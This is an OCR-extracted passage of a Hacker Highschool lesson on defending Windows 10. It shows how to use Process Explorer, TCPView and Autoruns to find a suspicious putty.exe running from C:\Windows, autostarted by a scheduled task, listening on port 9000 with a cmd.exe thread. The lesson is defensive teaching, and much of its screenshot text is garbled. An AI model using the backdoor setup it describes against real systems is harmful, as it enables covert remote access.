 ✓ Quick access Desktop Downloads Documents Dictures Pictures Music Videos OneDrive This PC Network 	Name Eula.txt Procexp.exe procexp.exe procexp64.e	Open ♥ Run as adi Troublesh Pin to Star ♥ Scan with ▷ Share Give acces Pin to task Restore pr Send to Cut Copy Create sho Delete Rename Properties	ministrator oot compatibility rt Windows Defend ss to cbar revious versions	Date modified 3/13/2017 9:14 AM 5/1/2017 7:19 AM 5/1/2017 7:31 AM er	Type Text Document Compiled HTML Application Application	Size 8 KB 71 KB 2,661 KB 1,425 KB	

And go **Options** > **Verify Image Signatures**

Run At Logon		A_					
Verify Image Signatures		vate Bytes	Working Set	PID Description	Company Name	VirusTotal Verified Signer	
VirusTotal.com	>	1,552 K	71,176 K	88			
AL 0 T		192 K	124 K	4			
Always On Top		0 K	0 K	n/a Hardware Interrupts and DPCs			
Replace Task Manager		540 K	1,180 K	304 Windows Session Manager	Microsoft Corporation	(Verified) Microsof	
Hide When Minimized		116 K	6,672 K	1684			
Allow Only One Instance		1,696 K	4,700 K	396 Client Server Runtime Process	Microsoft Corporation	(Verified) Microsof	
		1,356 K	6,232 K	496 Windows Start-Up Application	Microsoft Corporation	(Verified) Microsof	
Confirm Kill		4.692 K	9,260 K	620 Services and Controller app	Microsoft Corporation	(Verified) Microsof	
Tray Icons	>	920 K	3,608 K	752 Host Process for Windows S	Microsoft Corporation	(Verified) Microsof	
indy icons		9,940 K	26,376 K	824 Host Process for Windows 5	Microsoft Corporation	(Verified) Microsof	
Configure Symbols		8,540 K	17,872 K	3804 WMI Provider Host	Microsoft Corporation	(Vertied) Microsof	
Configure Colors		28,892 K	83,032 K	2868 Windows Shell Experience H 7336 Search and Catana applicati	Microsoft Corporation	(Vertiled) Microsof	
D''' IF IF I D I'		10 856 K	34 784 K	8140 Runtime Broker	Microsoft Corporation	(Verfied) Microsof	
Difference Highlight Duratio	n	11 396 K	31 804 K	6676 Application Frame Host	Microsoft Corporation	(Verified) Microsof	
Font		20 380 K	58 060 K	6832 Microsoft Edge	Microsoft Corporation	(Verified) Microsof	
SkypeHelper exe	Susp	1 928 K	1,220 K	6820 Microsoft Skyne	Microsoft Comporation	(No signature was	
browser, broker exe		1.652 K	8.360 K	3240 Browser Broker	Microsoft Corporation	(Verified) Microsof	
RuntimeBroker.exe		1,776 K	7,872 K	6072 Runtime Broker	Microsoft Corporation	(Verified) Microsof	
MicrosoftEdgeSH.exe	Susp	3,916 K	13,628 K	6700 Microsoft Edge Web Platform	Microsoft Corporation	(Verified) Microsof	
MicrosoftEdgeCP.exe	Susp	5,856 K	26,132 K	5956 Microsoft Edge Content Proc	Microsoft Corporation	(Verified) Microsof	
RuntimeBroker.exe		6.348 K	26,696 K	7856 Runtime Broker	Microsoft Corporation	(Verified) Microsof	
RuntimeBroker.exe		3,220 K	15,616 K	6944 Runtime Broker	Microsoft Corporation	(Verified) Microsof	
dlhost.exe		3,828 K	12,072 K	5152 COM Surrogate	Microsoft Corporation	(Verified) Microsof	
System Settings.exe	Susp	15,376 K	732 K	4576 Settings	Microsoft Corporation	(Verified) Microsof	
WindowsInternal.Compos	Susp	14,588 K	43,328 K	7680 WindowsInternal.Composabl	Microsoft Corporation	(Verified) Microsof	
smartscreen.exe		7.744 K	22,440 K	596 Windows Defender SmartScr	. Microsoft Corporation	(Verified) Microsof	
Skype4Lite.exe	Susp	12,444 K	536 K	3512 SkypeApp	Microsoft Corporation	(No signature was	
BuntimeBroker.exe		2.3/6 K	15,368 K	7480 Runtime Broker	Microsoft Corporation	(ventied) Microsof	
WMIPRVSE.exe		2,328 K	8,416 K	336 WWI Provider Host	Microsoft Corporation	(vertied) Microsof	
svchost.exe		0,952 K	13,436 K	876 Host Process for Windows 5	Microsoft Corporation	(vertied) Microsof	
- svchost.exe		1.576 K	5 616 K	240 Host Process for Windows 5	Microsoft Comporation	(Verified) Microsof	
evolusi.exe		1,832 K	11 668 K	944 Host Process for Windows S	Microsoft Corporation	(Verified) Microsof	
sychost exe		2 140 K	9 720 K	1068 Host Process for Windows S	Microsoft Comporation	(Verified) Microsof	
sychost exe		15.396 K	18.304 K	1176 Host Process for Windows S	Microsoft Corporation	(Verified) Microsof	
sychost exe		4.464 K	8.112 K	1220 Host Process for Windows S.	Microsoft Corporation	(Verified) Microsof	
		0.050.11	7.070.14		** ***	AL 10 11 40 1	



HH Hacker Highschool SECURITY AWARENESS FOR TEENS

Process Explorer - Susinternals www.	vintern:	als com (MSED)	SEW/N10\Tochi	hal				-	ā	X
la Ontions View Drososs Find	Usore	Lala	52111110(10311	50]						
	aa (Ŧ	neip								
📶 🙆 🚍 🗉 🛏 🖳 🖾 👗	P1 😨	· · · · · ·								
ocess	CPU	Private Bytes	Working Set	PID Description	Company Name	VirusTotal	Verified Signer			
Registry		1.632 K	71,148 K	88		The system canno				
System Idle Process	92.40	56 K	8 K	0						
System	0.62	192 K	124 K	4						
Interrupts	1.26	0 K	0 K	n/a Hardware Interrupts and DPCs	12 19 21		Sec. 1978			
smss.exe		508 K	1,168 K	304 Windows Session Manager	Microsoft Corporation	0/71	(Verified) Microsoft			
Memory Compression		116 K	6,160 K	1684		The system canno				
Csrss.exe	< 0.01	1,748 K	4,712 K	396 Client Server Runtime Process	Microsoft Corporation	0/69	(Verified) Microsoft			
wininit.exe		1,356 K	6,232 K	496 Windows Start-Up Application	Microsoft Corporation	0/71	(Verified) Microsoft			
e services.exe		4,816 K	9,328 K	620 Services and Controller app	Microsoft Corporation	0/71	(Verified) Microsoft			
svchost.exe		920 K	3,608 K	752 Host Process for Windows S	Microsoft Corporation	0/69	(Verified) Microsoft			
svchost.exe	0.01	10,376 K	26,672 K	824 Host Process for Windows S	Microsoft Corporation	0/69	(Verified) Microsoft			
WmiPrv SE.exe		8,044 K	17,628 K	3804 WMI Provider Host	Microsoft Corporation	0/70	(Verified) Microsoft			
ShellExperienceHost.exe	Susp	28,892 K	83,028 K	2868 Windows Shell Experience H.	Microsoft Corporation	0/70	(Verified) Microsoft			
SearchUI.exe	Susp	101,592 K	173,580 K	7236 Search and Cortana applicati.	Microsoft Corporation	0/64	(Verified) Microsoft			
RuntimeBroker.exe		10,680 K	34,704 K	8140 Runtime Broker	Microsoft Corporation	0/71	(Verified) Microsoft			
ApplicationFrameHost.exe		12,972 K	32,712 K	6676 Application Frame Host	Microsoft Corporation	0/70	(Verified) Microsoft			
SkypeHelper.exe	Susp	1,928 K	1,220 K	6820 Microsoft Skype	Microsoft Corporation	0/70	(No signature was			
RuntimeBroker.exe		3,760 K	20,076 K	6072 Runtime Broker	Microsoft Corporation	0/71	(Verified) Microsoft			
MicrosoftEdgeSH.exe	Susp	3,876 K	13,700 K	952 Microsoft Edge Web Platform	Microsoft Corporation	0/69	(Verified) Microsoft			
RuntimeBroker.exe		6,276 K	26,668 K	7856 Runtime Broker	Microsoft Corporation	0/71	(Verified) Microsoft			
RuntimeBroker.exe		3,036 K	15,516 K	6944 Runtime Broker	Microsoft Corporation	0/71	(Verified) Microsoft			
dlhost.exe		3,720 K	12,040 K	5152 COM Surrogate	Microsoft Corporation	0/69	(Verified) Microsoft			
System Settings.exe	Susp	15,376 K	732 K	4576 Settings	Microsoft Corporation	0/67	(Verified) Microsoft			
WindowsInternal.Compos	Susp	14,588 K	43,328 K	7680 WindowsInternal.Composabl	Microsoft Corporation	0/71	(Verified) Microsoft			
smartscreen.exe		14,236 K	30,936 K	596 Windows Defender SmartScr.	Microsoft Corporation	0/70	(Verified) Microsoft			
Skype4Life.exe	Susp	12,444 K	536 K	3512 SkypeApp	Microsoft Corporation	0/70	(No signature was			
RuntimeBroker.exe	0.01	2.296 K	11,400 K	7480 Runtime Broker	Microsoft Corporation	0/71	(Verified) Microsoft			
#WmiPrvSE.exe		2.200 K	8.508 K	336 WMI Provider Host	Microsoft Compration	0/70	(Verified) Microsoft			
MicrosoftEdge.exe	Susp	20,380 K	59,172 K	5240 Microsoft Edge	Microsoft Corporation	0/68	(Verified) Microsoft			
is browser broker.exe		1,780 K	8,404 K	792 Browser Broker	Microsoft Corporation	0/70	(Verified) Microsoft			
MicrosoftEdgeCP.exe	Susp	5.888 K	26,152 K	3132 Microsoft Edge Content Proc.	Microsoft Corporation	0/70	(Verified) Microsoft			
svchost.exe		7,072 K	13,468 K	876 Host Process for Windows S	Microsoft Corporation	0/69	(Verified) Microsoft			
sychost.exe		2.248 K	7.572 K	928 Host Process for Windows S	Microsoft Corporation	0/69	(Verified) Microsoft			
svchost.exe		1.588 K	5.628 K	840 Host Process for Windows S	Microsoft Corporation	0/69	(Verified) Microsoft			
svchost.exe		2,060 K	11,724 K	944 Host Process for Windows S	Microsoft Corporation	0/69	(Verified) Microsoft			
svchost.exe		2,192 K	9,740 K	1068 Host Process for Windows S	Microsoft Corporation	0/69	(Verified) Microsoft			
svchost.exe		15,572 K	18,412 K	1176 Host Process for Windows S	Microsoft Corporation	0/69	(Verified) Microsoft			
svchost.exe		4,564 K	8,140 K	1220 Host Process for Windows S	Microsoft Corporation	0/69	(Verified) Microsoft			
		0.000.14		405011 . 0 / 115 / 0	14 4.0	0.00	AL 10 10 40 0			_
U Usage: 7.60% Commit Charge: 21	.94% P	rocesses: 131	Physical Usage	43.05%						

Check winint.exe or some other Process displayed 'Microsoft Corporation' Under Company Name.

The process title: Company Name shows the company name of the process, **VirusTotal** results the status of the process checked by virustotal.com to know if it's detected as malware. **Verified Signer** shows if the process is signed by a known vendor or is legit software of the developing company.

In this scenario there's a running process called "putty.exe" which is detected as a malicious software by 43 anti-virus engines out of 69 engines of VirusTotal.com.

HH Hacker Highschool SECURITY AWARENESS FOR TEENS

Lesson 14: Defending Windows 10



File Options View Process Find	Users	Help						
🛃 👩 🚍 🗈 🚍 🚳 🚰 🛪	44 6	9						
Process	CPU	Private Bytes	Working Set	PID Description	Company Na	ame	VirusTotal	Venfied Signer
E RuntimeBroker.exe	0.03	13,248 K	34,612 K	6072 Runtime Broker	Microsoft Cor	poration	0/71	(Verified) Microsoft Windows
Microsoft Edge SH.exe		4,660 K	16,224 K	952 Microsoft Edge Web Platform	Microsoft Cor	poration	0/69	(Verified) Microsoft Windows
Runtime Broker.exe		7,304 K	31,604 K	7856 Runtime Broker	Microsoft Cor	poration	0/71	(Verified) Microsoft Windows
Runtime Broker.exe		2,972 K	15,508 K	6944 Runtime Broker	Microsoft Cor	poration	0/71	(Verified) Microsoft Windows
dllhost.exe		6,476 K	15,612 K	5152 COM Surrogate	Microsoft Cor	poration	0/69	(Verified) Microsoft Windows
SystemSettings.exe	Susp	15,376 K	732 K	4576 Settings	Microsoft Cor	poration	0/67	(Venfied) Microsoft Windows
WindowsInternal.Compos	Susp	14,588 K	43,328 K	7680 WindowsInternal.Composabl	Microsoft Cor	poration	0/71	(Verified) Microsoft Windows
smartscreen.exe	1	18,148 K	33,064 K	596 Windows Defender SmartScr	. Microsoft Cor	poration	0/70	(Verified) Microsoft Windows
Skype4Life.exe	Susp	12,444 K	536 K	3512 SkypeApp	Microsoft Cor	poration	0/70	(No signature was present in the subject) Microsoft Corporation
RuntimeBroker.exe		2,228 K	11,384 K	7480 Runtime Broker	Microsoft Cor	poration	0/71	(Verified) Microsoft Windows
Microsoft Edge.exe	0.02	28,892 K	87,156 K	5240 Microsoft Edge	Microsoft Cor	poration	0/68	(Verified) Microsoft Corporation
browser_broker.exe		7,460 K	30,608 K	792 Browser_Broker	Microsoft Cor	poration	0/70	(Venfied) Microsoft Windows
svchost.exe	0.01	7,116 K	13,540 K	876 Host Process for Windows S	. Microsoft Cor	poration	0/69	(Verified) Microsoft Windows Publisher
svchost.exe		2,220 K	7,552 K	928 Host Process for Windows S	. Microsoft Cor	poration	0/69	(Verified) Microsoft Windows Publisher
svchost.exe		1,624 K	5,664 K	840 Host Process for Windows S	. Microsoft Cor	poration	0/69	(Verified) Microsoft Windows Publisher
svchost.exe		1,836 K	11,672 K	944 Host Process for Windows S	. Microsoft Cor	poration	0/69	(Verified) Microsoft Windows Publisher
svchost.exe		2,140 K	9,724 K	1068 Host Process for Windows S	. Microsoft Cor	poration	0/69	(Venfied) Microsoft Windows Publisher
svchost.exe		15,900 K	18,736 K	1176 Host Process for Windows S	. Microsoft Cor	poration	0/69	(Venfied) Microsoft Windows Publisher
svchost.exe		4,688 K	8,288 K	1220 Host Process for Windows S	. Microsoft Cor	poration	0/69	(Venfied) Microsoft Windows Publisher
svchost.exe		2,152 K	7,112 K	1252 Host Process for Windows S	. Microsoft Cor	poration	0/69	(Venfied) Microsoft Windows Publisher
vmacthlp.exe		1,568 K	5,640 K	1380 VMware Activation Helper	VMware, Inc		0/70	(Venfied) VMware
svchost.exe		3,032 K	11,532 K	1472 Host Process for Windows S	. Microsoft Cor	poration	0/69	(Verified) Microsoft Windows Publisher
- svchost.exe		5,624 K	14,596 K	1484 Host Process for Windows S	Microsoft Cor	poration	0/69	(Verified) Microsoft Windows Publisher
Taskhostw.exe		9,620 K	20,180 K	1468 Host Process for Windows T	. Microsoft Cor	poration	0/70	(Verified) Microsoft Windows
putty.exe	0.01	1,724 K	844 K	1436 SSH, Telnet and Rlogin client	Simon Tatha	m	43/69	(No signature was present in the subject) Simon Tatham
svchost.exe		2,948 K	8,768 K	1504 Host Process for Windows S	. Microsoft Cor	rporation		(Ventied) Microsoft Windows Publisher
svchost.exe		4,424 K	11,740 K	1512 Host Process for Windows S	. Microsoft Cor	poration	0/69	(Verified) Microsoft Windows Publisher
svchost.exe	< 0.01	41,828 K	49,852 K	1540 Host Process for Windows S	. Microsoft Cor	poration	0/69	(Verified) Microsoft Windows Publisher
svchost.exe		1,308 K	5,364 K	1576 Host Process for Windows S	. Microsoft Cor	poration	0/69	(Verified) Microsoft Windows Publisher
svchost.exe		1,888 K	8,056 K	1752 Host Process for Windows S	Microsoft Cor	poration	0/69	(Verified) Microsoft Windows Publisher
svchost.exe		1,544 K	6,720 K	1788 Host Process for Windows S	Microsoft Cor	poration	0/69	(Verified) Microsoft Windows Publisher
svchost.exe		2,756 K	8,400 K	1796 Host Process for Windows S	Microsoft Cor	poration	0/69	(Verified) Microsoft Windows Publisher
svchost.exe		2,060 K	8,612 K	1820 Host Process for Windows S	. Microsoft Cor	poration	0/69	(Verified) Microsoft Windows Publisher
svchost.exe		2.184 K	8.416 K	1888 Host Process for Windows S.,	Microsoft Cor	poration	0/69	(Verified) Microsoft Windows Publisher



Double click on the 'putty.exe' and choose 'Image' tab in the properties box of the putty.exe process. You will see these comments:

• (No signature was present in the subject) Simon Tatham

Lesson 14: Defending Windows 10



- Autostart Location: Task Scheduler\networkconnect
- VirusTotal: 43/69

Putty is a communication tool that connects to remote machines using protocols like telnet, ssh and so on.

1111 Hacker Highschool

SECURITY AWARENESS FOR TEENS

- It is a portable app and shouldn't be in the directory of C:\Windows\System32
- It should not be autostarted by a task scheduler
- It should not be detected as a malware by virustotal.com.

🧬 putty.exe:1436 Properties — 🗆 🗙	:
GPU Graph Threads TCP/IP Security Environment Job Strings Image Performance Performance Graph Disk and Network	
Image File SSH, Telnet and Rlogin client (No signature was present in the subject) Simon Tatham Version: 0.72.0.0 Build Time: Sun Jul 14 15:33:49 2019 Path: C:\Windows\putty.exe Command line: Explore	
C: \Windows\putty.exe Current directory: C: \Windows\System32\ Autostart Location: Task Scheduler\networkconnect Explore	
Parent: svchost.exe(1484) Verify User: MSEDGEWIN10\systemd Bring to Front Started: 7:19:57 AM 9/26/2019 Image: 32-bit Comment:	
VirusTotal: 43/69 Submit Data Execution Prevention (DEP) Status: Enabled Address Space Load Randomization: Enabled (permanent)Disabled Control Flow Guard: Disabled	
OK Cancel]



Next go to the TCP/IP tab to view if it's connected to or connected back to somewhere else. And it shows:

- Local Address: msedgewin10.lan:9000
- Remote Address: athena.lan:48246
- State: ESTABLISHED

Meaning: The connection is ESTABLISHED from the Remote machine "Athena" via its remote port "48246" to our Local Windows 10 Machine "MSEDGEWIN10" via the local port "9000".

putty	/.exe:1436 Pro	perties								-		2
age	Performance	Performance Grap	h Disk and Network	GPU Graph	Threads	TCP/IP	Security	Environmen	Job	Strings		
Res	olve addresses	3										
Prot.	. Local Add	ress	Remote Address	State								1
TCP	msedgewin	10.lan:9000	athena.lan:48246	ESTABLISH	IED							
	C:\Wind	ows\system32\cm	nd.exe							—		1
150	Host N Primar Node T IP Rou WINS P DNS Su Ethernet	ame y Dns Suffix ype ting Enabled roxy Enabled ffix Search adapter Ethe		. : MSE . : Hyb . : No . : No . : lan	rid	Loca 9000 host	l Host ') and ES : 'athena	MSEDGEWI TABLISHED I'.	N10' is a conn	Listening ection to 1	on port the remot	be
	Connec Descri Physic DHCP E Autoco Link-1 IPv4 A	tion-specifi ption al Address. nabled nfiguration ocal IPv6 Ad ddress.	c DNS Suffix	. : lan . : Int . : 00- . : Yes . : Yes . : fe8 . : 192	Local H el(R) P 0C-29-5 0::ca8: .168.99	RO/100 2-15-: 56ff:!	00 MT 1F 5b08:d	Network (1c1%8(Pre	Connec	tion		



HH Hacker Highschool security awareness FOR TEENS

View > Lower Pane View > Check DLLs and Handles to check the DLL and Handles of the running process.

💐 Process Explorer - Sysinternals: www.sysinternals.com [MSEDGEWIN10\Toshiba]

File Options View	v Process Find	Users Help				
	System Information	۱	Ctrl+I			
Process	Show Process Tree		Ctrl+T	PID Description	Company Name	VirusTotal
svcł	Show Column Hea	tmaps		1220 Host Process for Windows S 1252 Host Process for Windows S	Microsoft Corporation	0/69
vma	Scroll to New Proce	esses		1380 VMware Activation Helper	VMware, Inc.	0/70
svcł	Show Unnamed Ha	ndles and Mappings		1472 Host Process for Windows S	Microsoft Corporation	0/69
	Show Processes Fro	om All Users		1484 Host Process for Windows 5 1468 Host Process for Windows T	Microsoft Corporation	0/69
e ^p :	Opacity		>	1436 SSH, Telnet and Rlogin client	Simon Tatham	43/69
svct	Show Lower Dana		Child	1504 Host Process for Windows S 1512 Host Process for Windows S	Microsoft Corporation Microsoft Corporation	0/69
svcł	Lower Dape View		Cui+L	S	Microsoft Corporation	0/69
svcł	Lower Parie view		· · · ·	Handles Ctrl+H S	Microsoft Corporation	0/69
svcł	Refresh Now		F5	1788 Host Process for windows S	Microsoft Corporation	0/69
svcł	Update Speed		>	1796 Host Process for Windows S	Microsoft Corporation	0/69
svcł	Organize Column	ets		1888 Host Process for Windows S	Microsoft Corporation	0/69
svcł	Save Column Set			1996 Host Process for Windows S	Microsoft Corporation	0/69
svct	Load Column Set		>	2004 Host Process for Windows S 2024 Host Process for Windows S	Microsoft Corporation Microsoft Corporation	0/69
svcł	Select Columns			1652 Host Process for Windows S	Microsoft Corporation	0/69
spotra-ter	ve	7 588 K	15 064 K	2144 Spooler SubSystem App 2180 Host Process for Windows S	Microsoft Corporation	0/69
svchost.e	xe	1,772 K	6,760 K	2200 Host Process for Windows S	Microsoft Corporation	0/69
svchost.e	xe	2,664 K	9,928 K	2224 Host Process for Windows S	Microsoft Corporation	0/69
svchost.er	xe exe	2,664 K 6,960 K	9,928 K 28,380 K	2224 Host Process for Windows S 6132 Shell Infrastructure Host	Microsoft Corporation	0/69

DLLs of the process

Process Explorer - Sysinternals: www.sysinternals.com [MSEDGEWIN10\Toshiba] File Options View Process Find DLL Users Help

The options v	iew Process Tillu	DEL US	ers neip						
	🗈 📑 🥵 🚰 🗡	M 💮	. A						
Process		CPU	Private Bytes	Working Set	PID Description	Company Name	VirusTotal	Verified Signer	
svchos	st.exe		7,036 K	13,292 K	876 Host Process for Windows S	Microsoft Corporation	0/69	(Verified) Microsoft Windows Publisher	
svchos	st.exe		2,200 K	7,136 K	928 Host Process for Windows S	Microsoft Corporation	0/69	(Verified) Microsoft Windows Publisher	
svchos	st.exe		1,688 K	5,504 K	840 Host Process for Windows S	Microsoft Corporation	0/69	(Verified) Microsoft Windows Publisher	
svchos	st.exe		1,924 K	11,404 K	944 Host Process for Windows S	Microsoft Corporation	0/69	(Verified) Microsoft Windows Publisher	
svchos	st.exe		2,192 K	9,368 K	1068 Host Process for Windows S	Microsoft Corporation	0/69	(Verified) Microsoft Windows Publisher	
svchos	st.exe		15,352 K	15,992 K	1176 Host Process for Windows S	Microsoft Corporation	0/69	(Verified) Microsoft Windows Publisher	
svchos	st.exe		4,604 K	7,680 K	1220 Host Process for Windows S	Microsoft Corporation	0/69	(Verified) Microsoft Windows Publisher	
svchos	st.exe		2,052 K	6,868 K	1252 Host Process for Windows S	Microsoft Corporation	0/69	(Verified) Microsoft Windows Publisher	
vmacth	nlp.exe		1,568 K	5,092 K	1380 VMware Activation Helper	VMware, Inc.	0/70	(Verified) VMware	
svchos	t.exe		2,872 K	10,916 K	1472 Host Process for Windows S	Microsoft Corporation	0/69	(Verified) Microsoft Windows Publisher	
= svchos	st.exe		5,576 K	13,760 K	1484 Host Process for Windows S	Microsoft Corporation	0/69	(Verified) Microsoft Windows Publisher	
Tas tas	khostw.exe		10,424 K	20,348 K	1468 Host Process for Windows T	Microsoft Corporation	0/70	(Verified) Microsoft Windows	
🖓 put	ty.exe	0.01	1,732 K	992 K	1436 SSH, Telnet and Rlogin client	Simon Tatham	43/69	(No signature was present in the subject) Sim	on Tatham
svchos	t.exe		3,000 K	7,840 K	1504 Host Process for Windows S	Microsoft Corporation	0/69	(Verified) Microsoft Windows Publisher	
svchos	st.exe		4,444 K	11,292 K	1512 Host Process for Windows S	Microsoft Corporation	0/69	(Verified) Microsoft Windows Publisher	
svchos	st.exe	< 0.01	40,772 K	47,928 K	1540 Host Process for Windows S	Microsoft Corporation	0/69	(Verified) Microsoft Windows Publisher	
svchos	st.exe		1,308 K	5,148 K	1576 Host Process for Windows S	Microsoft Corporation	0/69	(Verified) Microsoft Windows Publisher	
sychos	t exe		1 888 K	7 568 K	1752 Host Process for Windows S	Microsoft Comporation	0/69	(Verified) Microsoft Windows Publisher	
Name	Description		Company M	lame	Path		Verified Signer	~	VirusTotal
putty.exe	SSH, Telnet and Rlogi	in client	Simon Tath	am	C:\Windows\putty.exe		(No signature was pr	esent in the subject) Simon Tatham	43/69
advapi32.dll	Advanced Windows 3	2 Base API	Microsoft Co	orporation	C:\Windows\SysWOW64\advapi32	.dl	(Verified) Microsoft W	lindows	0/69
bcryptprimitives.dll	Windows Cryptographi	c Primitives	Microsoft Co	orporation	C:\Windows\SysWOW64\bcryptprir	nitives.dll	(Verified) Microsoft W	lindows	0/66
cfgmgr32.dll	Configuration Manager	r DLL	Microsoft Co	orporation	C:\Windows\SysWOW64\cfgmgr32	.dll	(Verified) Microsoft W	lindows	0/70
	11 0 00110 101	-	11 0 0	and the second is a second sec	CANNEL AND MODELCAN	-111	01 0 1) 11 0 10		0.000

Handle of the Process

Process Explorer - Sysinternals: www.sysinternals.com [MSEDGEWIN10\Toshiba]

File Options	View Process Find	Handle	Users Help					
	🗉 🗖 🎯 🛛 🖀 🗡	4) And					
Process		CPU	Private Bytes	Working Set	PID Description	Company	y Name	VirusTo
svcho	ost.exe		2,200 K	7,140 K	928 Host Process for Win	dows S Microsoft	Corporation	0/69
svcho	ost.exe		1,640 K	5,496 K	840 Host Process for Win	dows S Microsoft	Corporation	0/69
svcho	ost.exe		1,836 K	11,392 K	944 Host Process for Win	dows S Microsoft	Corporation	0/69
svcho	ost.exe		2,140 K	9,356 K	1068 Host Process for Win	dows S Microsoft	Corporation	0/69
svcho	ost.exe		15,352 K	15,992 K	1176 Host Process for Win	dows S Microsoft	Corporation	0/69
svcho	ost.exe		4,548 K	7,664 K	1220 Host Process for Win	dows S Microsoft	Corporation	0/69
svcho	ost.exe		2,052 K	6,872 K	1252 Host Process for Win	dows S Microsoft	Corporation	0/69
vmach	thlp.exe		1,568 K	5,092 K	1380 VMware Activation H	elper VMware,	Inc.	0/70
svcho	ost.exe		2,820 K	10,904 K	1472 Host Process for Win	dows S Microsoft	Corporation	0/69
= svcho	ost.exe		5,524 K	13,736 K	1484 Host Process for Win	dows S Microsoft	Corporation	0/69
Tel tas	skhostw.exe		10,948 K	20,556 K	1468 Host Process for Win	dows T Microsoft	Corporation	0/70
🖉 pu	tty.exe	< 0.01	1,732 K	896 K	1436 SSH, Telnet and Rlog	gin client Simon Ta	tham	43/69
svcho	ost.exe		2,948 K	7,824 K	1504 Host Process for Win	dows S Microsoft	Corporation	0/69
svcho	ost.exe		4,444 K	11,292 K	1512 Host Process for Win	dows S Microsoft	Corporation	0/69
svcho	ost.exe	< 0.01	41,120 K	48,228 K	1540 Host Process for Win	dows S Microsoft	Corporation	0/69
svcho	ost.exe		1,308 K	5,148 K	1576 Host Process for Win	dows S Microsoft	Corporation	0/69
Time	Name							
Type	Name							
Key	HKLM							
Key	HKLM	0101						
Key	HKLM\SOFTWARE\Mid	rosoft \Ule	9	1002 Classes				
Key	HKU\5-1-5-21-32101180	J8-3/6188	3066-33362/080	1003_Classes \L	Local Settings \Software			
Key	HKI M\SYSTEM\Control	Set001\S	anvices Win Sock	2\Parameters\P	rotocol Catalog9			
Key	HKI M\SYSTEM\Control	Set001\S	envices Win Sock	2\Parameters\N	lameSpace Catalog5			
Key	HKU\S-1-5-21-3210118	08-376188	3066-353627080	-1003\Control Pa	anel\International			
Key	HKLM\SYSTEM\Control	Set001\C	ontrol\NIs\Sorting	lds				
Key	HKU\S-1-5-21-32101180	08-376188	3066-353627080	-1003				
Key	HKU\S-1-5-21-3210118	08-376188	3066-353627080	-1003\Software	Microsoft Windows NT			
Mutant	\BaseNamedObjects\SM	10:1436:1	68:WilStaging_02					
Process	cmd.exe(5616)							
Semaphore	\BaseNamedObjects\SN	10:1436:1	68:WilStaging_02	_p0				
Thread	putty.exe(1436): 6292							
Thread	putty.exe(1436): 612							
Thread	putty.exe(1436): 6292							
Thread	putty.exe(1436): 612							
Ihread	cmd.exe(5616): 1124							

HH Hacker Highschool SECURITY AWARENESS FOR TEENS

The handle of the process shows that the putty.exe has Thread using cmd.exe.

Tcpview.exe

Launch "TCPVIEW" to check the network status of listening, established ports and their services.

SysinternalTools > **NetworkingUtilities** > **TCPVIEW**: double click on the Tcpview.exe



| 🖓 📘 🚽 | TCPView × Manage 0 Home \sim File Share View Application Tools > SysinternalTools > NetworkingUtilities > TCPView Search TCPView Q \mathbf{T} 5 V Date modified Size Name Type Quick access Eula.txt 7/28/2006 9:32 AM Text Document 7 KB Desktop 💑 Tcpvcon.exe 7/28/2010 3:47 PM Application 195 KB Downloads 😵 tcpview.chm 7/2/2010 4:03 PM Compiled HTML ... 41 KB Documents 뤒 Tcpview.exe 7/25/2011 12:40 PM Application 294 KB Pictures TCPVIEW.HLP 9/2/2002 1:13 PM Help file 8 KB mh Music Videos ConeDrive This PC Network :::: **E** 1 item selected 293 KB 5 items

You will see the putty.exe running on PID 1436 (which will be different on your machine) as the TCP protocol, its Local Address is 192.168.99.5 with Local Port 9000. The connection State is ESTABLISHED by the Remote Address 192.168.99.51 and Remote Port 48246.

📥 TC	PVie	w - Sysinternals: www.sysinternals: www.sysinternals: www.sysinternals: www.sysinternals: www.sysinternals: www	ernals.com					
File	Opt	ions Process View Help	0					
	~	Show Unconnected Endpoi	nts Ctrl+U					
Proce		Resolve Addresses	Ctrl+R	Local Address	Local Port	Remote Address	Remote Port	State
E) E Is E Is		Always On Top Font		192.168.99.5 0.0.0.0 [0:0:0:0:0:0:0:0]	49978 49670 49670	96.16.100.231 0.0.0.0 [0:0:0:0:0:0:0:0]	80 0 0	TIME_WAIT LISTENING LISTENING
🧬 pu 💷 Se	itty.ex earchi	ve 1436 Ul.exe 7236	tcp tcp	192.168.99.5 192.168.99.5	9000 49751	192,168,99,51 104,18,25,243	48246 80	ESTABLISHED ESTABLISHED

Go **Options** > **Resolve Addresses**: to resolve the IP Addresses to the hostname.

HH Hacker Highschool SECURITY AWARENESS FOR TEENS

Lesson 14: Defending Windows 10



Autoruns.exe

We are using Autoruns.exe to detect if there are processes auto running at the startup or by scheduled tasks or under any circumstances.

SysinternalTools > ProcessUtilities > Autoruns: right-click Autoruns.exe and choose "Run as Administrator"





1111 Hacker Highschool

Options > **Scan Options** and check "Verify code signatures" and "Check VirusTotal.com" and Click "Rescan"

Autoruns [MSEDGEWIN10)\Toshiba] - Sysinternals:	www.sysinternals.com							
File Entry Options Use	r Help								
	Filter:								
S Winsock Pro	viders	Print Monitors		😻 LSA Providers 🔮 Network				twork Providers	
🖅 Everything 🛛 🏄 Lo	ogon 🛛 🛃 Explorer	🥭 Internet Explorer 🧯	🕘 Sch	eduled Tasks	Services	📕 Drivers	Codecs	Boot Execute	
Autorun Entry	Description	Publisher		Image Path		Timestamp	Vin	usTotal	
HKLM\SYSTEM\CurrentC	ont-IC-IV C-I-IV C-C-D-I	Allemente Cheell				9/15/2018 2:04 PM			
Cmd.exe	Autoruns Scan Option	s	×	c:\windows\sy	stem32\cmd.exe	11/21/1975 2:48 AM			
HKLM\SOFTWARE\Micro		la an Kanaa				9/26/2019 6:26 AM			
🗹 🛄 bginfo	Scan only per-user	locations		c:\bginfo\bgin	fo.exe	7/30/2013 9:32 AM			
VMware User Pro	Verify code signatu	res		c:\program file	s\vmware\vmw	2/20/2019 5:37 PM			
HKCU\SOFTWARE\Micro	osc 🔽 Check VirusTotal.co	m				3/19/2019 7:35 PM			
🗹 🐔 OneDrive	Submit Unknown	Images		c:\users\ieuse	r\appdata\local	9/12/2018 4:27 AM			
C:\ProgramData\Microsoft	W					9/22/2019 12:59 PM			
putty.exe		Rescan Cancel		c:\programdat	a\microsoft\wind	7/14/2019 3:33 PM			
✓ 💿 task.bat				c:\programdat	a\microsoft\wind	9/23/2019 12:03 AM			
HKLM\SOFTWARE\Micro	soft\Active Setup\Installed	Components				3/19/2019 7:36 PM			
🗹 🗋 n/a	Windows host process (R	undll Microsoft Corporation		c:\windows\sy	vstem32∖rundll32	10/4/1914 1:04 PM			
